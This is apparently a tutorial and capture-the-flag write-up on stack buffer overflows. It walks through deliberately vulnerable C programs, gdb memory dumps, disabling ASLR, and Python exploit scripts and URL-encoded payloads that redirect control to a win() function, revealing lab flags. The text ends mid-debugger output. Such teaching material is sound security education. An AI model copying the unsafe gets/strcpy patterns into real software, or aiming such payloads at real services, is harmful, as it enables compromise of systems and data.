Post

Demonstrating Simple Buffer Overflow

Demonstrating Simple Buffer Overflow

Overview

Buffer overflows in C can arise due to manual memory management, unsafe functions, and lack of automatic bounds checking. Here is a demonstration of inputting excess characters in a pre-defined size buffer and viewing the memory to see the impact. We will write a simple exploit and attempt to disrupt the normal flow of the program to show we can redirect it to arbitrary code, in this case, the win() function

NameDemonstrating Simple Buffer Overflow
Difficulty:Easy
Tools:gdb
Topics:Debugging with gdb, Memory Examination, ASLR

Exploiting a 32-Bit Program

The following C program creates a buffer of size 10 but we use the fgets function to store 50 characters

Vulnerable C program

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdlib.h>
#include <stdio.h>

int test_pw() {
        char password[10];
        printf("Password address: %p\n", password);
        printf("Enter password: ");
        fgets(password, 50, stdin);
        return 1;
}

void win() {
        printf("You win!\n");
}

void main() {
        if (test_pw()) printf("Fail!\n");
        else win();
}

Compiling the C program

1
2
3
4
5
6
7
8
$ sudo apt-get install xxd gcc-multilib -y
$ gcc -g -m32 -o pwd32 pwd.c
$ file pwd32
$ ./pwd32
$ 1
$ gcc -g -m32 -no-pie -o pwd32 pwd.c
# for compiling on Ubuntu Linux
# gcc -g -m32 -no-pie -fno-stack-protector -o pwd32 pwd.c

Buffer overflow

1
2
3
4
$ ./pwd32
Password address: 0xfff0b756
Enter password: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
Segmentation fault

ASLR prevents buffer overflow by making the memory layout of a process unpredictable. The address changes each time we execute the program, which means ASLR is doing its job

1
2
3
4
5
6
7
8
9
10
11
12
$ ./pwd32
Password address: 0xffc75196
Enter password: 1
Fail!
$ ./pwd32
Password address: 0xffb5c1c6
Enter password: 2
Fail!
$ ./pwd32
Password address: 0xffa42d36
Enter password: 3
Fail!

Disable ASLR

1
2
3
$ sudo su -
$ echo 0 > /proc/sys/kernel/randomize_va_space  # echo 1 to re-enable ASLR
$ exit

Now the address stays the same

1
2
3
4
5
6
7
8
9
10
11
12
$ ./pwd32
Password address: 0xffffd516
Enter password: 1
Fail!
$ ./pwd32
Password address: 0xffffd516
Enter password: 2
Fail!
$ ./pwd32
Password address: 0xffffd516
Enter password: 3
Fail!

Debugging with gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ gdb -q pwd32
Reading symbols from pwd32...
(gdb) list 1,13
1       #include <stdlib.h>
2       #include <stdio.h>
3
4       int test_pw() {
5               char password[10];
6               printf("Password address: %p\n", password);
7               printf("Enter password: ");
8               fgets(password, 50, stdin);
9               return 1;
10      }
11
12      void win() {
13              printf("You win!\n");
(gdb) break 9
Breakpoint 1 at 0x1201: file pwd.c, line 9.
(gdb) run
Starting program: /home/debian/pwd32
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Password address: 0xffffd4e6
Enter password: AAAAAAAAAA

Breakpoint 1, test_pw () at pwd.c:9
9               return 1;

Set a breakpoint at line 9 right after we attempt a password and before we return to the main() function so we can view the contents inside the registers at this point. The purpose is to get the eip so we can manipulate the eip and have the test_pw() function return to win() instead

View the registers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) info registers
eax            0xffffd4e6          -11034
ecx            0x0                 0
edx            0xf7e1e9c4          -136189500
ebx            0x56558ff4          1448447988
esp            0xffffd4e0          0xffffd4e0
ebp            0xffffd4f8          0xffffd4f8
esi            0x56558ee8          1448447720
edi            0xf7ffcb80          -134231168
eip            0x56556201          0x56556201 <test_pw+84>
eflags         0x282               [ SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99

Examine memory

1
2
3
4
(gdb) x/12x $esp
0xffffd4e0:     0xf7fc14b0      0x414197cb      0x41414141      0x41414141
0xffffd4f0:     0xffff000a      0x56558ff4      0xffffd508      0x56556255
0xffffd500:     0xffffd520      0xf7e1cff4      0x00000000      0xf7c232d5

x: eXamine memory

12x: 12 words(4 bytes per word is default) in hex format

$esp: starting from $esp

ebp, the end of the stack frame, begins at address 0xffffd4f8 and contains 0xffffd508 and the word immediately following that is the eip containing the saved return pointer. When the function returns, the address 0x56556255 is placed into the eip

In 32-bit architecture, the eip is 4 bytes (32 bits). In In 64-bit architecture, the rip is 8 bytes (64 bits).

0xffffd4f00xffffd4e0 = 0x10

In the above memory table, each row differs by 16 bytes even though 0x10 is 16 in decimal which is represented by 5 bits. In a computer memory context, addresses are typically byte-addressable, meaning each address corresponds to a single byte of memory. Therefore, if you have two addresses that differ by 0x10, it means that there are 16 individual byte locations between those two addresses.

“byte-addressable” refers to a memory architecture where each byte (usually consisting of 8 bits) has a unique address. This means that the smallest unit of addressable memory is one byte, allowing the CPU to read or write data at the byte level.

Buffer Overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/debian/pwd32
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Password address: 0xffffd4e6
Enter password: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ

Breakpoint 1, test_pw () at pwd.c:9
9               return 1;

(gdb) x/12x $esp
0xffffd4e0:     0xf7fc14b0      0x414197cb      0x42424141      0x43434242
0xffffd4f0:     0x44444343      0x45454444      0x46464545      0x47474646
0xffffd500:     0x48484747      0x49494848      0x4a4a4949      0x000a4a4a

The eip RET value now contains 0x47474646, the hex codes for FFGG. This shows we can direct eip to the memory address we want

1
2
3
4
5
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x47474646 in ?? ()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) info registers
eax            0x1                 1
ecx            0x0                 0
edx            0xf7e1e9c4          -136189500
ebx            0x45454444          1162167364
esp            0xffffd500          0xffffd500
ebp            0x46464545          0x46464545
esi            0x56558ee8          1448447720
edi            0xf7ffcb80          -134231168
eip            0x47474646          0x47474646
eflags         0x10282             [ SF IF RF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99

gdb32

Disassembly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(gdb) disassemble win
Dump of assembler code for function win:
   0x5655620b <+0>:     push   %ebp
   0x5655620c <+1>:     mov    %esp,%ebp
   0x5655620e <+3>:     push   %ebx
   0x5655620f <+4>:     sub    $0x4,%esp
   0x56556212 <+7>:     call   0x5655627d <__x86.get_pc_thunk.ax>
   0x56556217 <+12>:    add    $0x2ddd,%eax
   0x5655621c <+17>:    sub    $0xc,%esp
   0x5655621f <+20>:    lea    -0x1fc5(%eax),%edx
   0x56556225 <+26>:    push   %edx
   0x56556226 <+27>:    mov    %eax,%ebx
   0x56556228 <+29>:    call   0x56556060 <puts@plt>
   0x5655622d <+34>:    add    $0x10,%esp
   0x56556230 <+37>:    nop
   0x56556231 <+38>:    mov    -0x4(%ebp),%ebx
   0x56556234 <+41>:    leave
   0x56556235 <+42>:    ret
End of assembler dump.

Find the memory address of where the win() function starts so we can place that location in the eip. Here it is 0x5655620b

Exploit File

Create an exploit file to write the input we want into the buffer

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

import sys

# 0x5655620b: address where win() function begins
# Intel uses little endian so we write the address from least significant to most significant byte

prefix = b"AAAABBBBCCCCDDDDEEEEFF"
eip = b'\x0b\x62\x55\x56'
postfix = b"GGHHHHIIIIJJJJ"

sys.stdout.buffer.write(prefix + eip + postfix)

Running the exploit file, the input displays as:

1
2
3
$ ./exploit-pwd32
AAAABBBBCCCCDDDDEEEEFF
                      bUVGGHHHHIIIIJJJJ

Hex dump

1
2
3
4
5
6
7
$./exploit-pwd32 > attack-pwd32
$ xxd attack-pwd32
-rw-r--r-- 1 debian debian 40 Mar 13 22:15 attack-pwd32
00000000: 4141 4141 4242 4242 4343 4343 4444 4444  AAAABBBBCCCCDDDD
00000010: 4545 4545 4646 0b62 5556 4747 4848 4848  EEEEFF.bUVGGHHHH
00000020: 4949 4949 4a4a 4a4a                      IIIIJJJJ

Now run the pwd32 program using the exploit file as input

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ gdb -q pwd32
Reading symbols from pwd32...
(gdb) break 9
Breakpoint 1 at 0x1201: file pwd.c, line 9.
(gdb) run --args < attack-pwd32
Starting program: /home/debian/pwd32 --args < attack-pwd32
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Password address: 0xffffd4d6

Breakpoint 1, test_pw () at pwd.c:9
9               return 1;
(gdb) info registers
eax            0xffffd4d6          -11050
ecx            0xffffd4fe          -11010
edx            0xf7e1e9c4          -136189500
ebx            0x56558ff4          1448447988
esp            0xffffd4d0          0xffffd4d0
ebp            0xffffd4e8          0xffffd4e8
esi            0x56558ee8          1448447720
edi            0xf7ffcb80          -134231168
eip            0x56556201          0x56556201 <test_pw+84>
eflags         0x282               [ SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) x/12x $esp
0xffffd4d0:     0xf7fc14b0      0x414197cb      0x42424141      0x43434242
0xffffd4e0:     0x44444343      0x45454444      0x46464545      0x5655620b
0xffffd4f0:     0x48484747      0x49494848      0x4a4a4949      0xf7004a4a
(gdb)

Step through to continue past the breakpoint and we have gotten to the win() function

1
2
3
4
5
6
7
(gdb) continue
Continuing.
Enter password: You win!

Program received signal SIGSEGV, Segmentation fault.
0x48484747 in ?? ()
(gdb)

Running the Exploit Outside the Debugger

1
2
3
4
$ ./pwd32 < attack-pwd32
Password address: 0xffffd516
Enter password: You win!
Segmentation fault

64-bit Exploit

1
2
3
$ gcc -g -o pwd64 pwd.c
pwd.c: In function ‘test_pw’:
pwd.c:8:9: warning: ‘fgets’ writing 50 bytes into a region of size 10 overflows the destination [-Wstringop-overflow=]

A warning is displayed about a buffer overflow when compiling, which is what we want

Now we test some inputs and we get Fail! for an appropriate length, but wrong password and segmentation fault for an input that overflows the buffer

1
2
3
4
5
6
7
8
$ ./pwd64
Password address: 0x7fffffffe3d6
Enter password: 1
Fail!
$ ./pwd64
Password address: 0x7fffffffe3d6
Enter password: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ
Segmentation fault

Debugger

Testing to see how the program runs normally with an appropriate input AAAAAAAAAA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ gdb -q pwd64
Reading symbols from pwd64...
(gdb) list 1,13
1       #include <stdlib.h>
2       #include <stdio.h>
3
4       int test_pw() {
5               char password[10];
6               printf("Password address: %p\n", password);
7               printf("Enter password: ");
8               fgets(password, 50, stdin);
9               return 1;
10      }
11
12      void win() {
13              printf("You win!\n");
(gdb) break 9
Breakpoint 1 at 0x11a8: file pwd.c, line 9.
(gdb) run
Starting program: /home/debian/pwd64
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Password address: 0x7fffffffe396
Enter password: AAAAAAAAAA

Breakpoint 1, test_pw () at pwd.c:9
9               return 1;

Registers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(gdb) info registers
rax            0x7fffffffe396      140737488348054
rbx            0x7fffffffe4c8      140737488348360
rcx            0xa41414141414141   738943562388947265
rdx            0xfbad2288          4222427784
rsi            0x4141414141414141  4702111234474983745
rdi            0x7ffff7fafa20      140737353808416
rbp            0x7fffffffe3a0      0x7fffffffe3a0
rsp            0x7fffffffe390      0x7fffffffe390
r8             0x5555555596bb      93824992253627
r9             0x0                 0
r10            0x1000              4096
r11            0x246               582
r12            0x0                 0
r13            0x7fffffffe4d8      140737488348376
r14            0x555555557dd8      93824992247256
r15            0x7ffff7ffd020      140737354125344
rip            0x5555555551a8      0x5555555551a8 <test_pw+79>
eflags         0x202               [ IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0

Memory Examination

1
2
3
4
5
6
7
(gdb) x/12gx $rsp
0x7fffffffe390: 0x4141000000000000      0x4141414141414141
0x7fffffffe3a0: 0x00007fffffff000a      0x00005555555551d3
0x7fffffffe3b0: 0x0000000000000001      0x00007ffff7e0224a
0x7fffffffe3c0: 0x00007fffffffe4b0      0x00005555555551c5
0x7fffffffe3d0: 0x0000000155554040      0x00007fffffffe4c8
0x7fffffffe3e0: 0x00007fffffffe4c8      0xc84d7419830e3fd3

x/12gx: use g for giant words to display 8 bytes (64 bits) at a time

On 64-bit systems, the rip is 8 bytes (64 bits) and immediately follows the end of the stack frame. Here, it is 0x00005555555551d3

Overflowing the Stack with 40 Characters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/debian/pwd64
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Password address: 0x7fffffffe396
Enter password: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ

Breakpoint 1, test_pw () at pwd.c:9
9               return 1;
(gdb) x/12gx $rsp
0x7fffffffe390: 0x4141000000000000      0x4343424242424141
0x7fffffffe3a0: 0x4545444444444343      0x4747464646464545
0x7fffffffe3b0: 0x4949484848484747      0x000a4a4a4a4a4949
0x7fffffffe3c0: 0x00007fffffffe4b0      0x00005555555551c5
0x7fffffffe3d0: 0x0000000155554040      0x00007fffffffe4c8
0x7fffffffe3e0: 0x00007fffffffe4c8      0x682bd9b1b51f3895
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00005555555551ae in test_pw () at pwd.c:10
10      }

gdb64

Our input overflows the rip, resulting in a segmentation fault and the RET value now contains 0x4747464646464545, hexadecimal codes for EEFFFFGG in little endian

Disassembly

1
2
3
4
5
6
7
8
9
10
11
(gdb) disassemble win
Dump of assembler code for function win:
   0x00005555555551af <+0>:     push   %rbp
   0x00005555555551b0 <+1>:     mov    %rsp,%rbp
   0x00005555555551b3 <+4>:     lea    0xe71(%rip),%rax        # 0x55555555602b
   0x00005555555551ba <+11>:    mov    %rax,%rdi
   0x00005555555551bd <+14>:    call   0x555555555030 <puts@plt>
   0x00005555555551c2 <+19>:    nop
   0x00005555555551c3 <+20>:    pop    %rbp
   0x00005555555551c4 <+21>:    ret
End of assembler dump.

The win() function starts at 0x00005555555551af

Exploit file

1
2
3
4
5
6
7
8
9
#!/usr/bin/python3

import sys

prefix = b"AAAABBBBCCCCDDDDEE"
eip = b'\xaf\x51\x55\x55\x55\x55\x00\x00'
postfix = b"GGHHHHIIIIJJJJ"

sys.stdout.buffer.write(prefix + eip + postfix)

The program prints out the letters, with eight letters in the middle changed, some of them unprintable

1
2
$ ./exploit-pwd64
AAAABBBBCCCCDDDDEE▒QUUUUGGHHHHIIIIJJJJ

Hexdump of the file shows the 40 character input with the memory address of the win() function substituted in the middle

1
2
3
4
5
$ ./exploit-pwd64 > attack-pwd64
$ xxd attack-pwd64
00000000: 4141 4141 4242 4242 4343 4343 4444 4444  AAAABBBBCCCCDDDD
00000010: 4545 af51 5555 5555 0000 4747 4848 4848  EE.QUUUU..GGHHHH
00000020: 4949 4949 4a4a 4a4a                      IIIIJJJJ

Testing the Exploit in the Debugger

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ gdb -q pwd64
Reading symbols from pwd64...
(gdb) break 9
Breakpoint 1 at 0x11a8: file pwd.c, line 9.
(gdb) break 14
Breakpoint 2 at 0x11c2: file pwd.c, line 14.
(gdb) run --args < attack-pwd64
Starting program: /home/debian/pwd64 --args < attack-pwd64
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Password address: 0x7fffffffe396

Breakpoint 1, test_pw () at pwd.c:9
9               return 1;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(gdb) info registers
rax            0x7fffffffe396      140737488348054
rbx            0x7fffffffe4c8      140737488348360
rcx            0x7fffffffe396      140737488348054
rdx            0xfbad2098          4222427288
rsi            0x5555555596b0      93824992253616
rdi            0x7ffff7fafa20      140737353808416
rbp            0x7fffffffe3a0      0x7fffffffe3a0
rsp            0x7fffffffe390      0x7fffffffe390
r8             0x0                 0
r9             0x0                 0
r10            0x1000              4096
r11            0x246               582
r12            0x0                 0
r13            0x7fffffffe4e0      140737488348384
r14            0x555555557dd8      93824992247256
r15            0x7ffff7ffd020      140737354125344
rip            0x5555555551a8      0x5555555551a8 <test_pw+79>
eflags         0x202               [ IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0

Examining the memory shows the the address of the win() function 0x00005555555551af is now the RET value

1
2
3
4
5
6
7
(gdb) x/12gx $rsp
0x7fffffffe390: 0x4141000000000000      0x4343424242424141
0x7fffffffe3a0: 0x4545444444444343      0x00005555555551af
0x7fffffffe3b0: 0x4949484848484747      0x00004a4a4a4a4949
0x7fffffffe3c0: 0x00007fffffffe4b0      0x00005555555551c5
0x7fffffffe3d0: 0x0000000255554040      0x00007fffffffe4c8
0x7fffffffe3e0: 0x00007fffffffe4c8      0x1a119f3178cc5d2c
1
2
3
4
5
6
(gdb) continue
Continuing.
Enter password: You win!

Breakpoint 2, win () at pwd.c:14
14      }

Running the Exploit Outside the Debugger

1
2
3
4
~$ ./pwd64 < attack-pwd64
Password address: 0x7fffffffe3d6
Enter password: You win!
Segmentation fault

202.5 & 202.6: Exploiting a Remote 32-bit Server

The main() function creates an array of size 100 and uses gets to read and store the user input. This is the first potential buffer overflow.

The activate() function takes a pointer to the character array that stored the user input. Another potential buffer overflow is seen as a local array of size 25 is created and string copies the user input to it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(gdb) list 1,33
1	#include 
2	#include 
3	#include 
4	
5	int activate(char *str) {
6	    char key[25];
7	    strcpy(key, str);
8	
9	    if (key[30] == 7) {
10	        printf("Congratulations!  The first flag is XXXXXXXXXXXXXXXXX\n");
11	        fflush( stdout );
12	    }
13	    return 1;
14	}
15	
16	void win() {
17	    printf("Congratulations!  The second flag is XXXXXXXXXXXXXXX\n");
18	    fflush( stdout );
19	}
20	
21	void main() {
22	    char key[100];
23	    printf("Enter product key: ");
24	    gets(key);
25	    if (activate(key)) printf("\nOh no! You may be the victim of software piracy!\n");
26		else win();
27	}

Testing under normal conditons with a 29 characters where 30th character is null terminator. When you create a character array intended to hold a string, you must ensure that the last element is reserved for the null terminator. For example, if you want to store a string of up to 5 characters, you should declare the array with a size of 6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
(gdb) break 8
Breakpoint 1 at 0x6a4: file ED202.5b.c, line 8.
(gdb) run < input-string
Breakpoint 1, activate (str=0xffffdc6c "ABCDEFGHIJKLMNOPQRSTUVWXYZABC") at ED202.5b.c:9
9	    if (key[30] == 7) {

(gdb) info registers
eax            0xffffdc27	-9177
ecx            0xffffdc6c	-9108
edx            0xffffdc27	-9177
ebx            0x56557000	1448439808
esp            0xffffdc20	0xffffdc20
ebp            0xffffdc48	0xffffdc48
esi            0xf7fbd000	-134492160
edi            0xf7fbd000	-134492160
eip            0x565556a4	0x565556a4 
eflags         0x282	[ SF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

(gdb) x/40x $esp
0xffffdc20:	0xf7fe77eb	0x41557000	0x45444342	0xffffdc00
0xffffdc30:	0xffffdcd8	0xf7fee010	0xf7e693fb	0x56557000
0xffffdc40:	0xf7fbd000	0x56557000	0xffffdcd8	0x56555764
0xffffdc50:	0xffffdc6c	0x00000001	0x000000bf	0x56555731
0xffffdc60:	0xffffdc8e	0xffffdd8c	0x000000e0	0x44434241
0xffffdc70:	0xf7ff0045	0xf7ffd918	0xffffdc90	0x5655530f
0xffffdc80:	0x00000000	0xffffdd24	0xf7fbd000	0x00001037
0xffffdc90:	0xffffffff	0x0000002f	0xf7e16dc8	0xf7fd71b0
0xffffdca0:	0x00008000	0xf7fbd000	0x00000000	0xf7e2233a
0xffffdcb0:	0x00000001	0x56557000	0x00000001	0x565557db

(gdb) continue
Enter product key: 
Oh no! You may be the victim of software piracy!
[Inferior 1 (process 14824) exited with code 062]

Testing with 30 characters where 31st character is the null terminator, we get a segmentation fault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
(gdb) run < input-string
Breakpoint 1, activate (str=0xffffdc6c "ABCDEFGHIJKLMNOPQRSTUVWXYZABCD") at ED202.5b.c:9
9	    if (key[30] == 7) {
(gdb) x/40x $esp
0xffffdc20:	0xf7fe77eb	0x41557000	0x45444342	0x49484746
0xffffdc30:	0x4d4c4b4a	0x51504f4e	0x55545352	0x59585756
0xffffdc40:	0x4342415a	0x56550044	0xffffdcd8	0x56555764
0xffffdc50:	0xffffdc6c	0x00000001	0x000000bf	0x56555731
0xffffdc60:	0xffffdc8e	0xffffdd8c	0x000000e0	0x44434241
0xffffdc70:	0x48474645	0x4c4b4a49	0x504f4e4d	0x54535251
0xffffdc80:	0x58575655	0x42415a59	0xf7004443	0x00001037
0xffffdc90:	0xffffffff	0x0000002f	0xf7e16dc8	0xf7fd71b0
0xffffdca0:	0x00008000	0xf7fbd000	0x00000000	0xf7e2233a
0xffffdcb0:	0x00000001	0x56557000	0x00000001	0x565557db
(gdb) continue
Program received signal SIGSEGV, Segmentation fault.
0x565554e0 in puts@plt ()
A debugging session is active.

	Inferior 1 [process 22549] will be killed.

Quit anyway? (y or n) [answered Y; input not from terminal]

First flag

The first flag is obtained if the input is an array of 31 characters where key[30] is a BEL (ASCII code 7). Send input string ABCDEFGHIJKLMNOPQRSTUVWXYZABCD%07 to URL encode the BEL character

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) run < input-string
Breakpoint 1, activate (str=0xffffdc6c "ABCDEFGHIJKLMNOPQRSTUVWXYZABCD\a") at ED202.5b.c:9
9	    if (key[30] == 7) {
(gdb) x/40x $esp
0xffffdc20:	0xf7fe77eb	0x41557000	0x45444342	0x49484746
0xffffdc30:	0x4d4c4b4a	0x51504f4e	0x55545352	0x59585756
0xffffdc40:	0x4342415a	0x56000744	0xffffdcd8	0x56555764
0xffffdc50:	0xffffdc6c	0x00000001	0x000000bf	0x56555731
0xffffdc60:	0xffffdc8e	0xffffdd8c	0x000000e0	0x44434241
0xffffdc70:	0x48474645	0x4c4b4a49	0x504f4e4d	0x54535251
0xffffdc80:	0x58575655	0x42415a59	0x00074443	0x00001037
0xffffdc90:	0xffffffff	0x0000002f	0xf7e16dc8	0xf7fd71b0
0xffffdca0:	0x00008000	0xf7fbd000	0x00000000	0xf7e2233a
0xffffdcb0:	0x00000001	0x56557000	0x00000001	0x565557db
(gdb) continue
Enter product key: Congratulations!  The first flag is SPECIAL-CHARACTER

Program received signal SIGSEGV, Segmentation fault.
0x565554e0 in puts@plt ()
A debugging session is active.

	Inferior 1 [process 25501] will be killed.

Quit anyway? (y or n) [answered Y; input not from terminal]

win() function

The memory address of the win() function is at 0x565556dc

1
2
3
4
5
6
(gdb) disassemble /s win,+1
Dump of assembler code from 0x565556dc to 0x565556dd:
ED202.5b.c:
16	void win() {
   0x565556dc :	push   %ebp
End of assembler dump.

We pad the array with 37 letters to the end of the ebp and send the string ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJK%dc%56%55%56 to URL encode the win() memory address in little endian and store that in the eip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) run < input-string
Breakpoint 1, activate (str=0xffffdc00 "'\334\377\377") at ED202.5b.c:9
9	    if (key[30] == 7) {
(gdb) x/40x $esp
0xffffdc20:	0xf7fe77eb	0x41557000	0x45444342	0x49484746
0xffffdc30:	0x4d4c4b4a	0x51504f4e	0x55545352	0x59585756
0xffffdc40:	0x4342415a	0x47464544	0x4b4a4948	0x565556dc
0xffffdc50:	0xffffdc00	0x00000001	0x000000bf	0x56555731
0xffffdc60:	0xffffdc8e	0xffffdd8c	0x000000e0	0x44434241
0xffffdc70:	0x48474645	0x4c4b4a49	0x504f4e4d	0x54535251
0xffffdc80:	0x58575655	0x42415a59	0x46454443	0x4a494847
0xffffdc90:	0x5556dc4b	0x00000056	0xf7e16dc8	0xf7fd71b0
0xffffdca0:	0x00008000	0xf7fbd000	0x00000000	0xf7e2233a
0xffffdcb0:	0x00000001	0x56557000	0x00000001	0x565557db
(gdb) continue
Enter product key: Congratulations!  The second flag is RETURN-ORIENTED

Program received signal SIGSEGV, Segmentation fault.
0xffffdc00 in ?? ()
A debugging session is active.

	Inferior 1 [process 30409] will be killed.

Quit anyway? (y or n) [answered Y; input not from terminal]

202.7 Exploiting a Remote 64-bit Server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
(gdb) list 1,33
1	#include 
2	#include 
3	#include 
4	
5	int activate(char *str) {
6	    char key[25];
7	    strcpy(key, str);
8	    return 1;
9	}
10	
11	void win() {
12	    printf("Congratulations!  The flag is XXXXXXXXXXXX\n");
13	    fflush( stdout );
14	}
15	
16	void main() {
17	    char key[100];
18	    printf("Enter product key: ");
19	    gets(key);
20	    if (activate(key)) printf("\nOh no! You may be the victim of software piracy!\n");
21		else win();
22	}

(gdb) break 8
Breakpoint 1 at 0x82f: file ED202.7.c, line 8.
(gdb) run < input-string
Breakpoint 1, activate (str=0x7fffffffeb70 "ABCDEFGHIJKLMNOPQRSTUVWXYZ") at ED202.7.c:8
8	    return 1;
(gdb) disassemble /s win,+1
Dump of assembler code from 0x555555554836 to 0x555555554837:
ED202.7.c:
11	void win() {
   0x0000555555554836 :	push   %rbp
End of assembler dump.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(gdb) info registers
rax            0x7fffffffeb40	140737488350016
rbx            0x0	0
rcx            0x5a5958	5921112
rdx            0x5857565554535251	6365651522798441041
rsi            0x7fffffffeb70	140737488350064
rdi            0x7fffffffeb40	140737488350016
rbp            0x7fffffffeb60	0x7fffffffeb60
rsp            0x7fffffffeb30	0x7fffffffeb30
r8             0x55555575703b	93824994340923
r9             0x0	0
r10            0x5d	93
r11            0x7ffff7b94e08	140737349504520
r12            0x5555555546e0	93824992233184
r13            0x7fffffffecc0	140737488350400
r14            0x0	0
r15            0x0	0
rip            0x55555555482f	0x55555555482f 
eflags         0x202	[ IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) x/40gx $rsp
0x7fffffffeb30:	0x00007fffffffecc0	0x00007fffffffeb70
0x7fffffffeb40:	0x4847464544434241	0x504f4e4d4c4b4a49
0x7fffffffeb50:	0x5857565554535251	0x00007fffff005a59
0x7fffffffeb60:	0x00007fffffffebe0	0x000055555555488e
0x7fffffffeb70:	0x4847464544434241	0x504f4e4d4c4b4a49
0x7fffffffeb80:	0x5857565554535251	0x00007fffff005a59
0x7fffffffeb90:	0x00007ffff7ffe168	0x0000000000000000
0x7fffffffeba0:	0x0000000000000001	0x00005555555548fd
0x7fffffffebb0:	0x00007fffffffebde	0x0000000000000000
0x7fffffffebc0:	0x00005555555548b0	0x00005555555546e0
0x7fffffffebd0:	0x00007fffffffecc0	0x0000000000000000
0x7fffffffebe0:	0x00005555555548b0	0x00007ffff7a2d840
0x7fffffffebf0:	0x0000000000000000	0x00007fffffffecc8
0x7fffffffec00:	0x00000001f7ffcca0	0x0000555555554858
0x7fffffffec10:	0x0000000000000000	0x0f60b8fd027b15fd
0x7fffffffec20:	0x00005555555546e0	0x00007fffffffecc0
0x7fffffffec30:	0x0000000000000000	0x0000000000000000
0x7fffffffec40:	0x5a35eda844fb15fd	0x5a35fd123ceb15fd
0x7fffffffec50:	0x0000000000000000	0x0000000000000000
0x7fffffffec60:	0x0000000000000000	0x00007fffffffecd8
1
2
3
4
(gdb) continue
Enter product key: 
Oh no! You may be the victim of software piracy!
[Inferior 1 (process 25355) exited with code 062]

rbp is at 0x7fffffffeb60

rip RET value is currently 0x000055555555488e

win() function is at 0x0000555555554836

Padding with 40 characters, send the input ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMN%36%48%55%55%55%55

Buffer overflow

1
2
3
(gdb) run < input-string
Breakpoint 1, activate (str=0x7fffffffeb70 "ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMN6HUUUU") at ED202.7.c:8
8	    return 1;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(gdb) x/40gx $rsp
0x7fffffffeb30:	0x00007fffffffecc0	0x00007fffffffeb70
0x7fffffffeb40:	0x4847464544434241	0x504f4e4d4c4b4a49
0x7fffffffeb50:	0x5857565554535251	0x4645444342415a59
0x7fffffffeb60:	0x4e4d4c4b4a494847	0x0000555555554836
